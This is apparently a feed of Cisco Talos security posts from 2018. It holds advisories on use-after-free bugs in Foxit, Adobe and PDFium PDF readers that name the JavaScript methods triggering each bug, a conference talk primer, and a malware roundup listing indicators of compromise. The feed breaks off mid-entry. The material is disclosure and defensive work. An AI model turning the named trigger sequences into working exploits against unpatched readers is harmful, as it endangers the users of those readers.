TALOS-2018-0612 / CVE-2018-3945 is an exploitable use-after-free vulnerability found in the JavaScript engine that can result in remote code execution. As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. When executing embedded JavaScript code, a document can be closed, which frees numerous of used objects, but the JavaScript can continue to execute, potentially leading to a user-after-free condition. This particular vulnerability lies in invoking the 'this.info' object followed by calling the 'JSON.stringify' method of the active document resulting in arbitrary code execution.

There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0613


TALOS-2018-0613 / CVE-2018-3946 is an exploitable use-after-free vulnerability found in the JavaScript engine that can result in remote code execution. As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. When executing embedded JavaScript code, a document can be closed, which frees numerous used objects, but the JavaScript can continue to execute, potentially leading to a user-after-free condition. This particular vulnerability lies in invoking the 'getPageNthWord' method of the active document resulting in arbitrary code execution.

There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.

TALOS-2018-0628


TALOS-2018-0628 references a total of six separate use-after-free vulnerabilities (CVE-2018-3957, CVE-2018-3958, CVE-2018-3959, CVE-2018-3960, CVE-2018-3961, CVE-2018-3962) found in the JavaScript engine of Foxit PDF Reader that can be abused to execute arbitrary code.

There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0629


TALOS-2018-0629 / CVE-2018-3964 is a use-after-free vulnerability found in the JavaScript engine of Foxit PDF Reader that can be abused to execute arbitrary code. This particular vulnerability leverages the invocation of the 'getPageNumWords' method of the active document with a crafted object as an argument.


There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0630


TALOS-2018-0630 / CVE-2018-3965 is a use-after-free vulnerability found in the JavaScript engine of Foxit PDF Reader that can be abused to execute arbitrary code. This particular vulnerability leverages a saved reference to the 'this.bookmarkRoot.children' object, triggering the use-after-free condition.

There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0631


TALOS-2018-0631 / CVE-2018-3966 is a use-after-free vulnerability found in the JavaScript engine of Foxit PDF Reader which can be abused to execute arbitrary code. This particular vulnerability leverages a saved reference to the 'this.dataObjects' object, triggering the use-after-free condition.


There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0632


TALOS-2018-0632 / CVE-2018-3967 is a use-after-free vulnerability found in the JavaScript engine of Foxit PDF Reader that can be abused to execute arbitrary code. This particular vulnerability leverages a saved reference to the 'this.event.target' object, triggering the use-after-free condition.


There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0660


TALOS-2018-0660/CVE-2018-3992 is a use-after-free vulnerability in the JavaScript engine of Foxit PDF Reader version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, it can also be triggered by visiting a malicious site.

As a complete feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. A multipage PDF document can have JavaScript actions attached to "page open" and "page close" events. When executing embedded JavaScript code, a document can be closed, which essentially frees numerous of used objects, but the JavaScript can continue to execute. Changing a page at a precise moment after the document is closed can lead to use-after-free condition. Full details of the vulnerability can be found here.


TALOS-2018-0661


TALOS-2018-0661/CVE-2018-3993 is a use-after-free vulnerability in the JavaScript engine of Foxit PDF Reader version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, it can also be triggered by visiting a malicious site.

This particular vulnerability lies in the way optional content groups (OCG) are manipulated. Saving an OCG and then accessing it's properties after the document is closed can trigger a use-after-free condition. Full details of the vulnerability can be found here.


TALOS-2018-0662


TALOS-2018-0662/CVE-2018-3994 is a use-after-free vulnerability in the JavaScript engine of Foxit PDF Reader, version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. A multipage PDF document can have JavaScript actions attached to "page open" and "page close" events. When executing embedded JavaScript code, a document can be closed, which frees numerous used objects, but the JavaScript can continue to execute. Changing a page at a precise moment after the document is closed can lead to use-after-free condition.

Calling `app.activeDocs[0].calculateNow()` while opening a page allocates an extra object on the heap. When the code in the open action for the whole document is executed, calling `app.activeDocs[0].importDataObject();` can then dereference a freed object, leading to use-after-free condition. Full details of the vulnerability can be found here.


TALOS-2018-0663


TALOS-2018-0663/CVE-2018-3995 is a use-after-free vulnerability in the JavaScript engine of Foxit PDF Reader version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. A multipage PDF document can have JavaScript actions attached to "page open" and "page close" events. When executing embedded JavaScript code, a document can be closed, which essentially frees numerous of used objects, but the JavaScript can continue to execute. Changing a page at the precise moment after the document is closed can lead to use-after-free condition.

This particular vulnerability lies in saving a reference to the `SignatureInfo` object by invoking the `signatureInfo` method of a form field. When the document is closed, objects are freed and a use-after-free condition occurs if a stale reference is accessed. Full details of the vulnerability can be found here.


TALOS-2018-0664


TALOS-2018-0664/CVE-2018-3996 a use-after-free vulnerability in the JavaScript engine of Foxit PDF Reader, version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. A user could also trigger the vulnerability by visiting a malicious site while the browser plugin is enabled. As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. A multipage PDF document can have JavaScript actions attached to "page open" and "page close" events. When executing embedded JavaScript code, a document can be closed, which essentially frees numerous of used objects, but the JavaScript can continue to execute. Changing a page at a precise moment after the document is closed can lead to use-after-free condition.

This particular vulnerability lies in invoking `isDefaultChecked` method of a field object with crafted object as argument, which can trigger a use-after-free condition. Full details of the vulnerability can be found here.


TALOS-2018-0665


TALOS-2018-0665/CVE-2018-3997 is a use-after-free vulnerability in the JavaScript engine of Foxit PDF Reader version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. A user could also trigger the vulnerability by visiting a malicious site while the browser plugin is enabled

As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. A multipage PDF document can have Javascript actions attached to "page open" and "page close" events. When executing embedded JavaScript code, a document can be closed, which essentially frees numerous of used objects, but the JavaScript can continue to execute. Changing a page at a precise moment after the document is closed can lead to use-after-free condition.

If a reference to `SeedValue` object is saved by invoking `signatureGetSeedValue` method of a form field and the document is closed, objects are freed and accessing a stale reference results in a use-after-free condition. Full details of the vulnerability can be found here.


Coverage


The following Snort rules will detect exploitation attempts. Note that additional rules may be released at a future date, and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

Snort Rule: 45158 - 45159, 45608 - 45609, 45652 - 45653, 45715 - 45716, 45823 - 45824, 46864 - 46865, 47727 - 47728


Vulnerability Spotlight: Adobe Acrobat Reader DC Collab reviewServer Remote Code Execution Vulnerability

$
0
0
Discovered by Aleksandar Nikolic of Cisco Talos

Overview

Today, Cisco Talos is releasing details of a new vulnerability within Adobe Acrobat Reader DC. Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a large user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. The one method call required to trigger this vulnerability is privileged and can only be called from trusted functions or a trusted location. Additionally, the use-after-free condition is only triggered upon closing the application.

TALOS-2017-0623 - Adobe Acrobat Reader DC Collab reviewServer Remote Code Execution Vulnerability (CVE-2018-12852)

Usage of specific JavaScript code embedded in a PDF file can lead to a use-after-free condition when opening a PDF document in Adobe Acrobat Reader DC 2018.011.20040. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface. Detailed vulnerability information can be found here.

Known vulnerable versions

Adobe Acrobat Reader DC 2018.011.20040

Coverage

The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

Snort Rule: 47074 - 47045


BruCON Primer: 10 Years and Cisco Talos Talks

$
0
0
Cisco Talos will have a significant presence at the 10th edition of BruCON, which kicks off this week. Below, you will find the presentations that Talos researchers will give, along with a brief overview of the topics they will discuss. We are fortunate to have multiple speakers presenting this year: Benny Ketelslegers, Jared Rittle and Lilith Wyatt.

BruCON Retro day opening speech

Presented by Benny Ketelslegers

BruCON was founded in 2008 by five security-minded Belgians working in the cybersecurity industry. What started as a herculean effort of a few people has now stabilized into one of the better European information security conferences that continues to grow each year. Benny, one of the founders, will go through the history of the con and highlight the key reasons it was able to survive through the first few years. We will be giving an overview of the security landscape in Belgium, why BruCON was founded and cover some of the highlights from the past 10 years.

This talk will take place on Oct. 3 at 10 a.m. during BruCON.

Process Control Through Counterfeit Comms

Presented by Jared Rittle

Programmable Logic Controllers (PLCs) are often relied on for the performance of critical process control functions in many different critical infrastructure sectors. Cisco Talos previously identified several vulnerabilities in the Allen-Bradley MicroLogix 1400 PLCs. These vulnerabilities included ones that could be leveraged to modify device configuration and ladder logic, write modified program data into the device's memory module, erase program data from the device's memory module, or conduct denial-of-service (DoS) attacks against affected devices. These vulnerabilities were disclosed to the manufacturer, with an update released to ensure that vulnerable devices could be updated to resolve these issues.

Jared Rittle of Cisco Talos will be presenting information regarding these vulnerabilities on Oct. 5 at 5:30 p.m.. Cisco Talos is also releasing a whitepaper that includes additional details related to how these vulnerabilities could be leveraged by attackers, the potential impacts they could have on affected devices, as well as mitigations that could be put in place to secure devices affected by these vulnerabilities. This whitepaper can be accessed here.

IoT RCE, a study with Disney

Presented by Lilith Wyatt

As desktop and server security keeps raising the baseline for successful exploitation, internet-of-things (IoT) devices are still stuck in the 1990s, despite their ubiquity in every home network. This, coupled with the ability to access them from anywhere, is creating a situation in which millions of households are left vulnerable, regardless of any network security posture — which is essentially a ticking time bomb.
These topics will be examined using the Circle with Disney— an internet monitoring device made by Disney — and a Foscam IP video camera as case studies. During the course of the vulnerability testing of these devices, more than 50 CVEs were discovered, out of which, discussion will focus on the more novel attack techniques seen within the Disney Circle, including:
  • SSL certificate-ttribute validation bypasses
  • SSID broadcasting injection
  • Use-between-Realloc memory corruption
  • Cloud routing abuse
During the course of the talk, there will be discussion regarding IoT device's use of traditionally offensive tools (ARP poisoning, backdoors, and beaconing) for central functionality.

Lilith Wyatt will present the information related to these vulnerabilities, including the specific details related to several use cases, on Oct. 5 at 3 p.m.

Vulnerability Spotlight: Google PDFium JBIG2 Image ComposeToOpt2WithRect Information Disclosure Vulnerability

$
0
0

Discovered by Aleksandar Nikolic of Cisco Talos

Overview


Cisco Talos is releasing details of a new vulnerability in Google PDFium's JBIG2 library. An exploitable out-of-bounds read on the heap vulnerability exists in the JBIG2-parsing code in Google Chrome, version 67.0.3396.99. A specially crafted PDF document can trigger an out-of-bounds read, which can possibly lead to an information leak. That leak could be used as part of an exploit. An attacker needs to trick the user into visiting a malicious site to trigger the vulnerability.

In accordance with our coordinated disclosure policy, Cisco Talos has worked with Google to ensure that these issues have been resolved and that an update has been made available for affected users. It is recommended that this update is applied as quickly as possible to ensure that systems are no longer affected by this vulnerability.

Vulnerability Details

Google PDFium JBIG2 Image ComposeToOpt2WithRect Information Disclosure Vulnerability (TALOS-2018-0639 / CVE-2018-16076)

 

PDFium is an open-source PDF renderer developed by Google and used extensively in the Chrome browser, as well as other online services and standalone applications. This bug was fixed in the latest Git version, as well as the latest Chromium address sanitizer build available.

A heap buffer overflow is present in the code responsible for decoding a JBIG2 image stream. An attacker needs to provide a specific PDF that describes the JBIG2 image details in order to exploit this vulnerability. Detailed vulnerability information can be found here.

Known vulnerable versions


Google Chrome version 67.0.3396.99

https://chromereleases.googleblog.com/2018/09/stable-channel-update-for-desktop.html


Coverage


The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

Snort Rules: 47340 - 47341

Threat Roundup Sept 28 - Oct 5

$
0
0
Today, as we do every week, Talos is giving you a glimpse into the most prevalent threats we’ve observed this week — covering the dates between Sept. 28 and Oct. 5. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, we will summarize the threats we’ve observed by highlighting key behavioral characteristics and indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

The most prevalent threats highlighted in this roundup are:

  • Win.Malware.Gandcrab-6706045-0
    Malware
    Gandcrab is ransomware that encrypts documents, photos, databases and other important files using the file extension ".GDCB", ".CRAB" or ".KRAB". Gandcrab is spread through both traditional spam campaigns, as well as multiple exploit kits, including Rig and Grandsoft.
     
  • Xls.Downloader.Valyria-6704496-0
    Downloader
    These variants of Valyria are malicious Excel files that contain embedded VBA macros used to distribute other malware.
     
  • Win.Dropper.Fqdq-6705253-0
    Dropper
    This dropper attempts to access the Firefox Password Manager local database, uses a temporary batch file to perform additional malicious activities and uploads files to remote servers. Additionally, it might inject code, read INI files or use Visual Basic scripts.
     
  • Win.Malware.Genkryptik-6704925-0
    Malware
    Win.Malware.Genkryptik is oftentimes a generic detection name for a Windows trojan. Some of the malicious activities that could be performed by these samples, without the user's knowledge, include: collecting system information, downloading and uploading files and dropping additional samples.
     
  • Win.Malware.Zusy-6704537-0
    Malware
    Zusy is a trojan that uses man-in-the-middle attacks to steal banking information. When executed, it injects itself into legitimate Windows processes such as "explorer.exe" and "winver.exe". The malware attempts to trick the user into entering their login information whenever they visit a financial services website.
     
  • Win.Malware.Razy-6703914-0
    Malware
    Razy is oftentimes a generic detection name for a Windows trojan. They collect sensitive information from the infected host and encrypt the data, and send it to a command and control (C2) server. Information collected might include screenshots. The samples modify auto-execute functionality by setting/creating a value in the registry for persistence.
     
  • Doc.Malware.Emooodldr-6699885-0
    Malware
    These malicious Word documents contain embedded VBA macros, spawn new processes, drops files and remove Office resiliency keys.
     

Threats

Win.Malware.Gandcrab-6706045-0


Indicators of Compromise


Registry Keys
  • <HKCR>\LOCAL SETTINGS\MUICACHE\3E\52C64B7E
    • Value Name: LanguageList
  • <HKCU>\CONTROL PANEL\DESKTOP
    • Value Name: Wallpaper
Mutexes
  • Global\8B5BAAB9E36E4507C5F5.lock
  • Global\XlAKFoxSKGOfSGOoSFOOFNOLPE
IP Addresses contacted by malware. Does not indicate maliciousness.
  • 50[.]63[.]202[.]89
  • 93[.]125[.]99[.]121
  • 137[.]74[.]238[.]33
  • 94[.]231[.]109[.]239
  • 185[.]135[.]88[.]105
  • 146[.]66[.]72[.]87
  • 87[.]236[.]16[.]31
  • 217[.]160[.]0[.]234
  • 69[.]73[.]180[.]151
  • 104[.]31[.]77[.]95
  • 171[.]244[.]34[.]167
  • 217[.]174[.]149[.]130
  • 70[.]40[.]197[.]96
  • 223[.]26[.]62[.]72
  • 80[.]77[.]123[.]23
  • 178[.]238[.]37[.]162
  • 51[.]68[.]50[.]168
  • 104[.]28[.]30[.]160
  • 67[.]227[.]236[.]96
  • 66[.]96[.]147[.]67
  • 179[.]188[.]11[.]34
  • 89[.]252[.]187[.]72
  • 194[.]58[.]56[.]95
  • 104[.]28[.]28[.]142
  • 104[.]27[.]163[.]241
  • 213[.]186[.]33[.]186
  • 107[.]178[.]113[.]162
  • 87[.]236[.]16[.]29
  • 188[.]165[.]53[.]185
  • 173[.]247[.]242[.]133
  • 77[.]104[.]144[.]25
  • 191[.]252[.]51[.]37
  • 202[.]43[.]45[.]181
  • 192[.]163[.]234[.]40
  • 217[.]160[.]0[.]27
  • 209[.]182[.]208[.]245
  • 94[.]73[.]148[.]18
  • 45[.]33[.]91[.]79
  • 87[.]236[.]19[.]135
  • 52[.]29[.]192[.]136
  • 178[.]33[.]233[.]202
  • 92[.]53[.]96[.]201
  • 186[.]202[.]153[.]158
  • 104[.]24[.]104[.]13
  • 213[.]186[.]33[.]3
  • 188[.]64[.]184[.]90
  • 95[.]213[.]173[.]173
  • 103[.]107[.]17[.]102
  • 103[.]27[.]238[.]31
  • 50[.]87[.]58[.]165
  • 104[.]27[.]186[.]113
  • 104[.]24[.]102[.]153
  • 77[.]104[.]171[.]238
  • 194[.]154[.]192[.]67
  • 87[.]236[.]16[.]41
Domain Names contacted by malware. Does not indicate maliciousness.
  • www[.]litespeedtech[.]com
  • big-game-fishing-croatia[.]hr
  • www[.]lagouttedelixir[.]com
  • dreamhost[.]com
  • www[.]himmerlandgolf[.]dk
  • hanaglobalholding[.]com
  • top-22[.]ru
  • zaeba[.]co[.]uk
  • ispsystem[.]com
  • unnatimotors[.]in
  • www[.]macartegrise[.]eu
  • blokefeed[.]club
  • bellytobabyphotographyseattle[.]com
  • diadelorgasmo[.]cl
  • www[.]bgfc[.]hr
  • www[.]wash-wear[.]com
  • yourmine[.]ru
  • www[.]reg[.]ru
  • www[.]poketeg[.]com
  • boatshowradio[.]com
  • www[.]perfectfunnelblueprint[.]com
  • perovaphoto[.]ru
  • www[.]cakav[.]hu
  • www[.]billerimpex[.]com
  • evotech[.]lu
  • www[.]ismcrossconnect[.]com
  • help[.]dreamhost[.]com
  • www[.]fabbfoundation[.]gm
  • alem[.]be
  • cevent[.]net
  • mauricionacif[.]com
  • smbardoli[.]org
  • www[.]aco[.]dk
  • cyclevegas[.]com
  • lucides[.]co[.]uk
  • krasnaypolyana123[.]ru
  • hoteltravel2018[.]com
  • oceanlinen[.]com
  • 6chen[.]cn
  • koloritplus[.]ru
  • asl-company[.]ru
  • www[.]krishnagrp[.]com
  • test[.]theveeview[.]com
  • cdnjs[.]cloudflare[.]com
  • picusglancus[.]pl
  • bloghalm[.]eu
  • api[.]w[.]org
  • nesten[.]dk
  • simetribilisim[.]com
  • pp-panda74[.]ru
  • wpakademi[.]com
  • dna-cp[.]com
  • h5s[.]vn
  • bethel[.]com[.]ve
  • vjccons[.]com[.]vn
  • www[.]rment[.]in
  • marketisleri[.]com
  • www[.]byggekvalitet[.]dk
  • royal[.]by
  • gmpg[.]org
  • sherouk[.]com
  • tommarmores[.]com[.]br
  • graftedinn[.]us
  • www[.]mimid[.]cz
  • maxcdn[.]bootstrapcdn[.]com
  • panel[.]dreamhost[.]com
  • relectrica[.]com[.]mx
  • acbt[.]fr
  • damt7w3yoa0t2[.]cloudfront[.]net
  • topstockexpert[.]su
  • goodapd[.]website
  • www[.]n2plus[.]co[.]th
  • aurumwedding[.]ru
  • devdev[.]com[.]br
  • www[.]toflyaviacao[.]com[.]br
  • mimid[.]cz
  • nhs-foi[.]com
  • www[.]iyfipgun[.]com
  • wash-wear[.]com
Files and or directories created
  • %AppData%\Microsoft\Internet Explorer\UserData\MA3SBLRS\spid[1].xml
  • %UserProfile%\Videos\98b689db98b68e303c.lock
  • %UserProfile%\Start Menu\98b689db98b68e303c.lock
  • %UserProfile%\Start Menu\SGMNP-DECRYPT.txt
  • %UserProfile%\Videos\Sample Videos\98b689db98b68e303c.lock
  • %UserProfile%\Videos\Sample Videos\SGMNP-DECRYPT.txt
  • \??\E:\$RECYCLE.BIN\S-1-5-21-2580483871-590521980-3826313501-500\98b689db98b68e303c.lock
  • \??\E:\$RECYCLE.BIN\S-1-5-21-2580483871-590521980-3826313501-500\SGMNP-DECRYPT.txt
  • \??\E:\$RECYCLE.BIN\SGMNP-DECRYPT.txt
  • \??\E:\98b689db98b68e303c.lock
  • \??\E:\SGMNP-DECRYPT.txt
  • \MSOCache\SGMNP-DECRYPT.txt
  • \PerfLogs\Admin\SGMNP-DECRYPT.txt
  • \PerfLogs\SGMNP-DECRYPT.txt
  • \Recovery\926583e2-ef64-11e4-beed-d6738078ad98\SGMNP-DECRYPT.txt
  • \Recovery\SGMNP-DECRYPT.txt
  • \SGMNP-DECRYPT.txt
  • \TEMP\SGMNP-DECRYPT.txt
  • %UserProfile%\Videos\SGMNP-DECRYPT.txt
File Hashes
  • 211484d0deda5cb97b16b27538b7d1d2c26af6ae3aac3c888085a0e8ddf2d8bd
  • 46b702851cb5c1df0a97d1ae9e3202316d36ef2195395a9bcc3699dd1d247733
  • 4e2ba4638d01c1473f0959fae6d31636456cde0ab995fa5f3fad1efc2cb7bf0e
  • 69fd1808c32fe3209f384fba8f79df13bec479e9b081f7edcf8720f6257f7dfe
  • 8b5c1735800d8ad69b535a863f4ae1941604b3e57261961e230a26b16b4b98ec
  • 9ec54c9d6ec39c34c8e011fcb10fb2ae5334d1d0632e63a61d94b36b9f9c8a9b
  • c394e7fa3604f5ee26419a913dbfeb0988d59bbf8ed25d852ebf62a48cc1688a
  • c4a126172b27777413ee4efcd0ce8656fbef52e81c984993af3fa63d5264cc8e
  • d81aa5dbd9272f9be6e4a0def514a9284220d88f219ac6fd908ab2c942b92cdc
  • d9129786346cfa0aa07a1c82d4bcb79a977c7c8e1a052916a34b6cde4c09c006
  • e41697a99da83a32bf8a56f993123fbfaef378d5e6f61286a272536fe10b6d35
  • e50a28068fcae51a609946fad1637a5dbfbda8add88063ddb117cb8e0cfc4a74
  • e8502aa65a4da371c0e378b245374af7340b809140a5d2e3bc3bfa67a92a2bde
  • eb9347f0fbbb675ecc61beb1f2be8721871e203357b124ad9858037a641709f5
  • f77825b0388a6220521219030ad70bdb6fcd3216a590d092ec4aa22a506a17b6

Coverage


Screenshots of Detection

AMP



ThreatGrid


Umbrella


Xls.Downloader.Valyria-6704496-0


Indicators of Compromise


Registry Keys
  • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP
    • Value Name: UNCAsIntranet
  • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP
    • Value Name: AutoDetect
  • <HKCU>\SOFTWARE\MICROSOFT\WISP\MULTITOUCH
    • Value Name: MultiTouchEnabled
  • <HKCU>\SOFTWARE\MICROSOFT\WISP\PEN\PERSIST\0\1
    • Value Name: HidCursorName
  • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\WINDEFEND
    • Value Name: DeleteFlag
  • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\WINDEFEND
    • Value Name: Start
Mutexes
  • Local\10MU_ACB10_S-1-5-5-0-57527
  • Local\10MU_ACBPIDS_S-1-5-5-0-57527
  • Global\316D1C7871E00
  • {773F1B9A-35B9-4E95-83A0-A210F2DE3B37}-Default
IP Addresses contacted by malware. Does not indicate maliciousness.
  • 78[.]47[.]139[.]102
  • 107[.]180[.]25[.]0
  • 103[.]110[.]91[.]118
  • 89[.]163[.]224[.]250
  • 199[.]249[.]223[.]62
  • 185[.]220[.]101[.]12
  • 89[.]27[.]96[.]42
  • 208[.]113[.]131[.]196
Domain Names contacted by malware. Does not indicate maliciousness.
  • dallasmediationlawyer[.]com
  • myexternalip[.]com
Files and or directories created
  • %LocalAppData%\Temp\character.exe
  • %AppData%\mssert\chasactes.exe
  • %LocalAppData%\Temp\const_cast.bat
  • %LocalAppData%\Temp\whzxixx5.jdj.ps1
  • %LocalAppData%\Temp\xgxfy2dc.eju.psm1
  • %LocalAppData%\Temp\21iyllij.ncz.psm1
  • %LocalAppData%\Temp\erifm5li.lo3.ps1
  • %LocalAppData%\Temp\wmez5d0g.r0g.ps1
  • %LocalAppData%\Temp\gs0jrz4i.yd2.psm1
  • %LocalAppData%\Temp\qgh0kqvv.ce5.ps1
  • %LocalAppData%\Temp\tkzdlipn.odo.psm1
File Hashes
  • 0276895b76757b5b2726c1c2fbb50d98040dc2dc46aedff1e5b9709f168b4a8d
  • 0f792637a859a3c2919e1e45a9500e1bdf2b5f4e07bfc4d8b5e24cf7c8003e5e
  • 1114fd2ee387df04c4e7ed0bb6d088b220e893c8a1ee07386977c7369681e5d3
  • 1c2f39f6a608c70b16a79ed4cfb228c412852caac8a8b8bafc4e0819d038aa2c
  • 2ca6d57dcfacd0f59f8b390ccbf138b557b8e95a157a53de6fe864c5eafbcf80
  • 4682a95f9ed32657ee61b7aec758ab6bbdc17a52e2812e1372b3b2a9776cadc1
  • 655f60c338658334723310c79033b26daa207b61fd89ebaf4abbed93802c65be
  • 672aac7a017a8417608dfe687fa4023fdd1e90a7d77f6e1d9b035a070c9d9c40
  • 6ff12e83f44e19de6515c03108fccfd98abd3a70bbab1088171954a3c6113d3b
  • a407d2cfb849a1822895fb5770db7c24b707422da3a193e7d8f5d9e39bfb3896
  • ccbac43307cd046f896283deac0341351b5dc83e6be5cb2292a0c28cdfd34650
  • dafd70b7b82551b0feb905f8d466d2b02784ce6e5d5c2b8d6d00e82b27487ae0
  • dbf3533e970aacc291d0342289943605537407df18217182ca39d52a8c9f8970

Coverage


Screenshots of Detection

AMP



ThreatGrid



Umbrella

Win.Dropper.Fqdq-6705253-0


Indicators of Compromise


Registry Keys
  • <HKCR>\LOCAL SETTINGS\MUICACHE\3E\52C64B7E
    • Value Name: LanguageList
  • <HKLM>\SYSTEM\CONTROLSET001\CONTROL\NETWORK\{4D36E972-E325-11CE-BFC1-08002BE10318}\{9EB90D23-C5F9-4104-85A8-47DD7F6C4070}\CONNECTION
    • Value Name: PnpInstanceID
Mutexes
  • 3749282D282E1E80C56CAE5A
IP Addresses contacted by malware. Does not indicate maliciousness.
  • N/A
Domain Names contacted by malware. Does not indicate maliciousness.
  • baxishop[.]ro
Files and or directories created
  • %AppData%\D282E1\1E80C5.lck
  • %AllUsersProfile%\Microsoft\Vault\AC658CB4-9126-49BD-B877-31EEDAB3F204\Policy.vpol
  • \PC*\MAILSLOT\NET\NETLOGON
  • \lsass
  • %AppData%\D282E1
  • \samr
File Hashes
  • 030290f026a913226735bc017a37997180f130b9ce1fdc3b990e050aea4bc39e
  • 07abd686b7cda16b61c65d82cb72f464e2ea31bb8bb165f01bbcfa693f1bd22a
  • 1258790e008879340d7cd8e6b303e25183345a05d81b6583164f0a690323405b
  • 12963b31f9719d9333f6cbdb46426c32179bba4a31976b094d192588eb4439ff
  • 2627bd09fd4886f83a7ca589518523606b581ad026968f3d013e1cfb221f7811
  • 2c18a46ea35314f065b21e151d37787cfa5b7696207226ca80f7732176659ee9
  • 30a901d40309ac1e42e98ad59044e1e1f97f985ca397628e8f0deb8f67f39d1f
  • 31ef4c98208464b43dd337b92cba0cfa05d0924ebc732e0b1ee88120495f503c
  • 34f159a5b3ee64cbe520c18e9abd66be61b583dad385bbec9cadf054942827da
  • 35c1410cfb084bb4f4ef5a7c3d92c7b78ddd33849864e41f22e09f5b1c3997b2
  • 3a69eddc3ab09e947703dbfd7e279e9e6e867190c9f72f395833fe94a1b6903a
  • 4688f04b2498695705ea718ba724e9f0c04d92d09d75505f7fa1b1ad19bfe795
  • 4e79a2473921ee6132c3e73f9b4de0395ec350cb476981cf2cb19171034f9405
  • 56979370107aeffca2fa5ad915f454e33ced1a5c6518dbc01ed15689b92e83dd
  • 582f2175b65814e7558fca9ebc7e1a6f97402ce3079f43ece47fdc17c3f7324e
  • 5f83ff3b7d094547fd00dacabe669e389bdd04af09dcbc7790f29a63f797a00f
  • 6448bc9787a96f76cc6716294a204df6d1cbd6db9cc441abc78b31161529e00f
  • 7a2868174590c11d2f95794260792700a1fd567b5315702decfd1cd6611ed0d5
  • 8b7a4bc0f2ea0f3e54b0cea9fa2928ddd0a85aa80a64071985cf95301c0d5ac3
  • 9030a6efd1e15d5e78b727700863ab45b667a7c532761b3a148aa222f7e17b87
  • 946de8d2685ded47c74e4b7c9490e8961598462a87be7ca5bef22693745f7cfa
  • 951860ee7f7283a3b238cbfdb6e161c09fcb6a2b7975bb142412c442fd2590fd
  • 95b99dd7dd7814724287c89e2435aa65cc82e91c5aabd453be1a0532d50bd936
  • 96397b26ba4ee4244704c2cadd71c3d3d4c12e988f6de1d695f3602432bd94b3
  • 9c5acd9297928707ed7e472e9316b125b55b2cd98870aaa4b4630dcd0fece734

Coverage


Screenshots of Detection

AMP



ThreatGrid

Win.Malware.Genkryptik-6704925-0


Indicators of Compromise


Registry Keys
